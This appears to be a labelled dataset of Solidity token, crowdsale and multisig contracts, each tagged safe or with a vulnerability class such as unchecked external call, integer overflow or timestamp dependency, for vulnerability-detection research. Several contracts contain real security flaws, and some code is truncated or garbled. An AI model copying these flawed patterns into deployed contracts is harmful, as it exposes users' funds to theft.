allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",Safe,8,8 33937.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract TastyFoodTruck is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name = 'TastyFoodTruck'; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol = 'TFTT'; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function TastyFoodTruck( ) { balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000000; // Update total supply (100000 for example) name = ""TastyFoodTruck""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""TFTT""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 727.sol,"pragma solidity 0.4.24; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0){return 0;} c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract ERC20Token { function totalSupply() public view returns (uint256); function balanceOf(address _targetAddress) public view returns (uint256); function transfer(address _targetAddress, uint256 _value) public returns (bool); event Transfer(address indexed _originAddress, address indexed _targetAddress, uint256 _value); function allowance(address _originAddress, address _targetAddress) public view returns (uint256); function approve(address _originAddress, uint256 _value) public returns (bool); function transferFrom(address _originAddress, address _targetAddress, uint256 _value) public returns (bool); event Approval(address indexed _originAddress, address indexed _targetAddress, uint256 _value); } contract Ownership { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } modifier validDestination(address _targetAddress) { require(_targetAddress != address(0x0)); _; } } contract MAJz is ERC20Token, Ownership { using SafeMath for uint256; string public symbol; string public name; uint256 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; constructor() public{ symbol = ""MAZ""; name = ""MAJz""; decimals = 18; totalSupply = 560000000000000000000000000; balances[msg.sender] = totalSupply; owner = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } function totalSupply() public view returns (uint256) { return totalSupply; } function balanceOf(address _targetAddress) public view returns (uint256) { return balances[_targetAddress]; } function transfer(address _targetAddress, uint256 _value) validDestination(_targetAddress) public returns (bool) { balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_targetAddress] = SafeMath.add(balances[_targetAddress], _value); emit Transfer(msg.sender, _targetAddress, _value); return true; } function allowance(address _originAddress, address _targetAddress) public view returns (uint256){ return allowed[_originAddress][_targetAddress]; } function approve(address _targetAddress, uint256 _value) public returns (bool) { allowed[msg.sender][_targetAddress] = _value; emit Approval(msg.sender, _targetAddress, _value); return true; } function transferFrom(address _originAddress, address _targetAddress, uint256 _value) public returns (bool) { balances[_originAddress] = SafeMath.sub(balances[_originAddress], _value); allowed[_originAddress][msg.sender] = SafeMath.sub(allowed[_originAddress][msg.sender], _value); balances[_targetAddress] = SafeMath.add(balances[_targetAddress], _value); emit Transfer(_originAddress, _targetAddress, _value); return true; } function () public payable { revert(); } function burnTokens(uint256 _value) public onlyOwner returns (bool){ balances[owner] = SafeMath.sub(balances[owner], _value); totalSupply = SafeMath.sub(totalSupply, _value); emit BurnTokens(_value); return true; } function emitTokens(uint256 _value) public onlyOwner returns (bool){ balances[owner] = SafeMath.add(balances[owner], _value); totalSupply = SafeMath.add(totalSupply, _value); emit EmitTokens(_value); return true; } function revertTransfer(address _targetAddress, uint256 _value) public onlyOwner returns (bool) { balances[_targetAddress] = SafeMath.sub(balances[_targetAddress], _value); balances[owner] = SafeMath.add(balances[owner], _value); emit RevertTransfer(_targetAddress, _value); return true; } event RevertTransfer(address _targetAddress, uint256 _value); event BurnTokens(uint256 _value); event EmitTokens(uint256 _value); }",./Dataset/integer overflow (OF)/,4,4 7515.sol," pragma solidity ^0.4.8; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } event MaximumSellableTokensChanged(uint newMaximumSellableTokens); function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",./Dataset/timestamp dependency (TP)/,6,6 36514.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract PsyMultiSig { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function PsyMultiSig(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address 